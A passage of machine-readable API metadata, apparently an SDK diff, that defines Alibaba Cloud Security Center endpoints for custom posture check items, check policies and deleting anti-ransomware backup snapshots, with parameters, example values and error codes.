'{"AssociatedData":{"ToDataList":[{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","FromPropertyPath":"InstanceId"}]},"MatchProperty":{"Operator":"AND","MatchProperties":[{"DataName":"ACS_ECS_Disk","PropertyPath":"DiskId","MatchOperator":"EQ","MatchPropertyValue":"testId"}]}}', + ], + 'CloudAssetInstance' => [ + 'description' => '需要测试规则的资产实例。', + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '资产的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-0jl4mjgl261cfrz5****', + ], + 'RegionId' => [ + 'description' => '实例的地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'ap-southeast-1', + ], + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息的结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + 'ErrorCheckConfigs' => [ + 'description' => '配置检查错误的检查参数列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项自定义配置项名称，同检查项唯一。', + 'type' => 'string', + 'example' => 'IpList', + ], + 'Value' => [ + 'description' => '检查项自定义配置项用户配置值字符串。', + 'type' => 'string', + 'example' => '10.12.4.XX', + ], + 'Type' => [ + 'description' => '出错的参数类型：'."\n" + .'- custom：自定义配置参数', + 'type' => 'string', + 'example' => 'custom', + ], + 'ErrorCode' => [ + 'description' => '错误码。', + 'type' => 'string', + 'example' => 'ConfigEqualIllegal', + ], + 'ErrorMsg' => [ + 'description' => '错误消息。', + 'type' => 'string', + 'example' => 'Custom parameter is not equal to corresponding check parameter', + ], + 'LinkErrorConfigs' => [ + 'description' => '导致此错误的相关配置。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项配置项名称，同检查项唯一。', + 'type' => 'string', + 'example' => 'IpLists', + ], + 'ShowName' => [ + 'description' => '用户检查配置展示名称。', + 'type' => 'string', + 'example' => 'IP Lists', + ], + 'Type' => [ + 'description' => '出错的参数类型：'."\n" + .'- repair：修复参数'."\n" + .'- custom：自定义配置参数', + 'type' => 'string', + 'example' => 'repair', + ], + ], + ], + ], + ], + ], + ], + 'ErrorRepairConfigs' => [ + 'description' => '配置检查错误的修复参数列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项修复配置项名称，同检查项唯一。', + 'type' => 'string', + 'example' => 'IpLists', + ], + 'Value' => [ + 'description' => '检查项修复参数名称，同检查项唯一。', + 'type' => 'string', + 'example' => '172.26.49.XX'."\n", + ], + 'Type' => [ + 'description' => '出错的参数类型：'."\n" + .'- repair：修复参数', + 'type' => 'string', + 'example' => 'repair', + ], + 'ErrorCode' => [ + 'description' => '错误码。', + 'type' => 'string', + 'example' => 'ConfigEqualIllegal', + ], + 'ErrorMsg' => [ + 'description' => '错误消息。', + 'type' => 'string', + 'example' => 'Repair parameter is not equal to corresponding check parameter', + ], + 'LinkErrorConfigs' => [ + 'description' => '导致此错误的相关配置。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项配置项名称，同检查项唯一。', + 'type' => 'string', + 'example' => 'IpList', + ], + 'ShowName' => [ + 'description' => '用户检查配置展示名称。', + 'type' => 'string', + 'example' => 'Ip List', + ], + 'Type' => [ + 'description' => '出错的参数类型：'."\n" + .'- repair：修复参数'."\n" + .'- custom：自定义配置参数', + 'type' => 'string', + 'example' => 'custom', + ], + ], + ], + ], + ], + ], + ], + 'ErrorCheckCustomConfig' => [ + 'description' => '检查自定义检查项返回的错误码。', + 'type' => 'object', + 'properties' => [ + 'ErrorCode' => [ + 'description' => '失败时错误码。成功时此参数不返回。'."\n" + .'- **CspmVerifyCheckCustomItemNoPass**：资产未通过设置的自定义规则。'."\n" + .'- **CspmVerifyCheckCustomItemError**：验证错误，输入规则存在问题。', + 'type' => 'string', + 'example' => 'CspmVerifyCheckCustomItemNoPass', + ], + 'ErrorMsg' => [ + 'description' => '异常信息', + 'type' => 'string', + 'example' => 'Creation verification failed.', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ParamIllegal.%s', + 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', + ], + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + [ + 'errorCode' => 'CspmVerifyItemRuleError.%s', + 'errorMessage' => 'Audit check item check rule error: %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"ErrorCheckConfigs\\": [\\n {\\n \\"Name\\": \\"IpList\\",\\n \\"Value\\": \\"10.12.4.XX\\",\\n \\"Type\\": \\"custom\\",\\n \\"ErrorCode\\": \\"ConfigEqualIllegal\\",\\n \\"ErrorMsg\\": \\"Custom parameter is not equal to corresponding check parameter\\",\\n \\"LinkErrorConfigs\\": [\\n {\\n \\"Name\\": \\"IpLists\\",\\n \\"ShowName\\": \\"IP Lists\\",\\n \\"Type\\": \\"repair\\"\\n }\\n ]\\n }\\n ],\\n \\"ErrorRepairConfigs\\": [\\n {\\n \\"Name\\": \\"IpLists\\",\\n \\"Value\\": \\"172.26.49.XX\\\\n\\",\\n \\"Type\\": \\"repair\\",\\n \\"ErrorCode\\": \\"ConfigEqualIllegal\\",\\n \\"ErrorMsg\\": \\"Repair parameter is not equal to corresponding check parameter\\",\\n \\"LinkErrorConfigs\\": [\\n {\\n \\"Name\\": \\"IpList\\",\\n \\"ShowName\\": \\"Ip List\\",\\n \\"Type\\": \\"custom\\"\\n }\\n ]\\n }\\n ],\\n \\"ErrorCheckCustomConfig\\": {\\n \\"ErrorCode\\": \\"CspmVerifyCheckCustomItemNoPass\\",\\n \\"ErrorMsg\\": \\"Creation verification failed.\\"\\n }\\n}","type":"json"}]', + 'title' => '验证态势感知自定义配置', + ], + 'ChangeCheckCustomConfig' => [ + 'summary' => '修改检查项自定义配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '167568', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '云安全中心实例地域。取值为：'."\n" + ."\n" + .'- **cn-hangzhou：** 中心'."\n" + .'- **ap-southeast-1：** 新加坡', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '76', + ], + ], + [ + 'name' => 'CustomConfigs', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项自定义配置项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项自定义配置项。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项自定义配置项名称，同检查项唯一。', + 'type' => 'string', + 'required' => false, + 'example' => 'SessionTimeMax', + ], + 'Value' => [ + 'description' => '检查项自定义配置项用户配置值字符串。', + 'type' => 'string', + 'required' => false, + 'example' => '13', + ], + 'Operation' => [ + 'description' => '检查项自定义配置项操作类型，只有删除时传DELETE，创建和更新不用传。', + 'type' => 'string', + 'required' => false, + 'example' => 'DELETE', + 'enum' => [ + 'DELETE', + ], + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'RepairConfigs', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项修复功能支持的修复参数。', + 'type' => 'array', + 'items' => [ + 'description' => '修复参数对应的配置项。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项修复参数名称，同检查项唯一。', + 'type' => 'string', + 'required' => false, + 'example' => 'Port', + ], + 'Value' => [ + 'description' => '检查项修复配置项用户配置值字符串。', + 'type' => 'string', + 'required' => false, + 'example' => '80', + ], + 'Operation' => [ + 'description' => '检查项自定义配置项操作类型，只有删除时传DELETE，创建和更新不用传。', + 'type' => 'string', + 'required' => false, + 'example' => 'DELETE', + 'enum' => [ + 'DELETE', + ], + ], + 'FlowId' => [ + 'description' => '修复时对应修复流程的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'ascgrmscyjgs*********', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DA8133CC-CCA0-5CF2-BF64-FE7D52C44***', + ], + 'IllegalCustomConfigs' => [ + 'description' => '检查项自定义配置项不合法列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项自定义配置项。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项自定义配置项名称，同检查项唯一。', + 'type' => 'string', + 'example' => 'SessionTimeMax', + ], + ], + ], + ], + 'IllegalRepairConfigs' => [ + 'description' => '检查项修复配置项不合法列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '用户配置的修复检查配置不满足要求，返回的对应配置的名称。', + 'type' => 'string', + 'example' => 'SessionTimeMax', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DA8133CC-CCA0-5CF2-BF64-FE7D52C44***\\",\\n \\"IllegalCustomConfigs\\": [\\n {\\n \\"Name\\": \\"SessionTimeMax\\"\\n }\\n ],\\n \\"IllegalRepairConfigs\\": [\\n {\\n \\"Name\\": \\"SessionTimeMax\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '修改检查项自定义配置', + ], + 'ListCheckPolicies' => [ + 'summary' => '在云安全态势管理自定义检查项功能中，查询检查项分类设置中的归属标准、归属条例或归属章节。', + 'path' => '', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'PolicyType', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义检查项规则的策略类型：'."\n" + .'- **STANDARD**：新增归属标准'."\n" + .'- **REQUIREMENT**：新增归属条例'."\n" + .'- **SECTION**：新增归属章节', + 'type' => 'string', + 'required' => true, + 'example' => 'STANDARD', + ], + ], + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '新增的分类设置ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1000000000001', + ], + ], + [ + 'name' => 'PolicyShowName', + 'in' => 'query', + 'schema' => [ + 'description' => '新增的分类设置名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testPolicyName', + ], + ], + [ + 'name' => 'DependentPolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '关联的上级策略ID。'."\n" + .' '."\n" + .'（具体的依赖关系从低到高依次为章节->条例->标准）', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1000000000002', + ], + ], + [ + 'name' => 'CheckTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要查询的策略类型（默认查询自定义和系统预定义策略）。', + 'type' => 'array', + 'items' => [ + 'description' => '策略的类型（标识策略是系统策略还是用户策略）：'."\n" + .'- **CUSTOM**：用户自定义'."\n" + .'- **SYSTEM**：系统预定义', + 'type' => 'string', + 'required' => false, + 'example' => 'CUSTOM', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '关联的策略大类的名称（PolicyType取值为STANDARD时为必填）：'."\n" + .'- **AISPM**：AI配置管理（AI-SPM）'."\n" + .'- **IDENTITY_PERMISSION**：身份权限管理(CIEM)'."\n" + .'- **RISK**：安全风险'."\n" + .'- **COMPLIANCE**：合规风险', + 'type' => 'string', + 'required' => false, + 'example' => 'AISPM', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的检查项信息的数量。默认值为**50**，表示每页显示50条检查项信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。起始值为**1**。默认值为**1**，表示从第**1**页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息的结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', + ], + 'Policies' => [ + 'description' => '策略列表。', + 'type' => 'array', + 'items' => [ + 'description' => '自定义策略的数据详情。', + 'type' => 'object', + 'properties' => [ + 'PolicyId' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100000000001', + ], + 'PolicyType' => [ + 'description' => '自定义检查项规则的策略类型：'."\n" + .'- **STANDARD**：标准策略类型'."\n" + .'- **REQUIREMENT**：条例策略类型'."\n" + .'- **SECTION**：章节策略类型', + 'type' => 'string', + 'example' => 'STANDARD', + ], + 'PolicyShowName' => [ + 'description' => '自定义策略的名称。', + 'type' => 'string', + 'example' => 'testPolicyName', + ], + 'CheckType' => [ + 'description' => '态势感知检查项的来源类型：'."\n" + .' - **CUSTOM**：用户自定义'."\n" + .' - **SYSTEM**：态势感知平台预定义', + 'type' => 'string', + 'example' => 'CUSTOM', + ], + 'Type' => [ + 'description' => '关联的策略大类的名称（PolicyType取值为STANDARD时为必填）：'."\n" + .'- **AISPM**：AI配置管理（AI-SPM）'."\n" + .'- **KISPM**：Kubernetes配置管理(KSPM)'."\n" + .'- **IDENTITY_PERMISSION**：身份权限管理(CIEM)'."\n" + .'- **RISK**：安全风险'."\n" + .'- **COMPLIANCE**：合规风险', + 'type' => 'string', + 'example' => 'AISPM'."\n", + ], + 'DependentPolicyId' => [ + 'description' => '关联的上级策略ID。'."\n" + ."\n" + .'（具体的依赖关系从低到高依次为 章节->条例->标准）', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100000000002', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '返回结果中显示的当前页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的策略的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'string', + 'example' => '20', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ParamIllegal.%s', + 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\",\\n \\"Policies\\": [\\n {\\n \\"PolicyId\\": 100000000001,\\n \\"PolicyType\\": \\"STANDARD\\",\\n \\"PolicyShowName\\": \\"testPolicyName\\",\\n \\"CheckType\\": \\"CUSTOM\\",\\n \\"Type\\": \\"AISPM\\\\n\\",\\n \\"DependentPolicyId\\": 100000000002\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": \\"20\\"\\n }\\n}","type":"json"}]', + 'title' => '查询自定义检查项归属策略分类', + ], + 'UpdateCheckItem' => [ + 'summary' => '在云安全态势管理自定义检查项功能中，更新用户自定义检查项。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'SectionIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项关联的章节ID数组。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项关联章节ID。'."\n" + .'> 您可调用[ListCheckPolicies](~~ListCheckPolicies~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1000000000001', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。'."\n" + .'> 您可调用[ListCloudAssetSchemas](~~ListCloudAssetSchemas~~)接口获取可填入的厂商。', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + ], + [ + 'name' => 'InstanceType', + 'in' => 'query', + 'schema' => [ + 'description' => '云产品的资产类型。'."\n" + .'> 您可调用[ListCloudAssetSchemas](~~ListCloudAssetSchemas~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ECS', + ], + ], + [ + 'name' => 'InstanceSubType', + 'in' => 'query', + 'schema' => [ + 'description' => '云产品的资产子类型。'."\n" + .'> 您可调用[ListCloudAssetSchemas](~~ListCloudAssetSchemas~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'DISK', + ], + ], + [ + 'name' => 'CheckShowName', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义检查项名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testCheckItemName', + ], + ], + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的风险等级。取值：'."\n" + .'- **HIGH**：高危'."\n" + .'- **MEDIUM**：中危'."\n" + .'- **LOW**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项状态。取值：'."\n" + .'- **EDIT**：编辑中'."\n" + .'- **RELEASE**：已发布'."\n" + ."\n" + .'> - 从**已发布**改为**编辑中**会清除所有历史记录'."\n" + .'> - 只有**已发布**状态才能使用检查项检查。', + 'type' => 'string', + 'required' => false, + 'example' => 'RELEASE', + 'enum' => [ + 'RELEASE', + 'EDIT', + ], + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息', + 'type' => 'string', + 'required' => false, + 'example' => 'remark.', + ], + ], + [ + 'name' => 'Description', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '检查项的描述信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项描述信息类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'required' => false, + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项的描述信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'custom description.'."\n", + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'AssistInfo', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '检查项帮助信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项风险的帮助信息类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'required' => false, + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项风险的帮助信息的内容。', + 'type' => 'string', + 'required' => false, + 'example' => 'custom assistInfo.'."\n", + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'Solution', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '检查项解决方案信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项解决方案信息类型。取值：'."\n" + ."\n" + .'- **text**：文本', + 'type' => 'string', + 'required' => false, + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项风险的解决方案内容。', + 'type' => 'string', + 'required' => false, + 'example' => 'custom solution.', + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'CheckRule', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义检查项定义规则。', + 'type' => 'string', + 'required' => false, + 'example' => '{"AssociatedData":{"ToDataList":[{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","FromPropertyPath":"InstanceId"}]},"MatchProperty":{"Operator":"AND","MatchProperties":[{"DataName":"ACS_ECS_Disk","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testId"},{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testInstanceId"}]}}', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '待更新的自定义检查项ID。'."\n" + .'> 您可调用[ListCheckItems](~~ListCheckItems~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '10000000001', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '接口返回的数据体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '更新的检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10000000001', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ParamIllegal.%s', + 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', + ], + [ + 'errorCode' => 'CspmParamOverSize', + 'errorMessage' => 'The parameter is too long.', + ], + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + [ + 'errorCode' => 'CspmCheckCustomItemSectionsError', + 'errorMessage' => 'The chapter associated with the custom check item does not exist.', + ], + [ + 'errorCode' => 'CspmUpdateCheckCustomItemStatusError', + 'errorMessage' => 'Update custom check item status exception.', + ], + [ + 'errorCode' => 'CspmVerifyItemRuleError.%s', + 'errorMessage' => 'Audit check item check rule error: %s.', + ], + [ + 'errorCode' => 'CspmUpdateCheckCustomItemError', + 'errorMessage' => 'Failed to update custom check.', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"Data\\": {\\n \\"CheckId\\": 10000000001\\n }\\n}","type":"json"}]', + 'title' => '更新自定义检查项', + ], + 'DeleteCheckPolicy' => [ + 'summary' => '删除云安全态势管理自定义检查项中自定义的归属目录，支持删除归属标准、归属条例和归属章节。', + 'path' => '', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'PolicyIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要删除的策略数组。', + 'type' => 'array', + 'items' => [ + 'description' => '删除策略的ID。'."\n" + .'> 您可调用[ListCheckPolicies](~~ListCheckPolicies~~)接口获取策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '100000000001', + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'PolicyType', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义检查项规则的策略类型：'."\n" + .'- **STANDARD**：标准策略类型'."\n" + .'- **REQUIREMENT**：条例策略类型'."\n" + .'- **SECTION**：章节策略类型', + 'type' => 'string', + 'required' => true, + 'example' => 'STANDARD', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息的结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'Policys' => [ + 'description' => '删除的策略详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '删除的策略详情。', + 'type' => 'object', + 'properties' => [ + 'PolicyId' => [ + 'description' => '删除的策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1000000000001', + ], + 'PolicyType' => [ + 'description' => '自定义检查项规则的策略类型：'."\n" + .'- **STANDARD**：标准策略类型'."\n" + .'- **REQUIREMENT**：条例策略类型'."\n" + .'- **SECTION**：章节策略类型', + 'type' => 'string', + 'example' => 'STANDARD', + ], + 'PolicyShowName' => [ + 'description' => '自定义策略的名称。', + 'type' => 'string', + 'example' => 'testPolicyName', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ParamIllegal.%s', + 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', + ], + [ + 'errorCode' => 'CspmDeleteCustomPolicyError', + 'errorMessage' => 'The dependent policy needs to be disassociated.', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Policys\\": [\\n {\\n \\"PolicyId\\": 1000000000001,\\n \\"PolicyType\\": \\"STANDARD\\",\\n \\"PolicyShowName\\": \\"testPolicyName\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '删除自定义检查项中自定义的归属分类', + ], + 'DeleteBackupSnapshot' => [ + 'summary' => '删除云安全中心服务器防勒索备份的快照。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '199568', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'RetainLatestSnapshot', + 'in' => 'query', + 'schema' => [ + 'description' => '是否保留最新快照。'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'BackupSnapshotList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '备份快照集合。', + 'type' => 'array', + 'items' => [ + 'description' => '备份快照。', + 'type' => 'object', + 'properties' => [ + 'SnapshotId' => [ + 'description' => '需要删除的快照ID。'."\n" + .'>调用[DescribeSnapshots](~~DescribeSnapshots~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 's-000f9p6r5trm6u4d****', 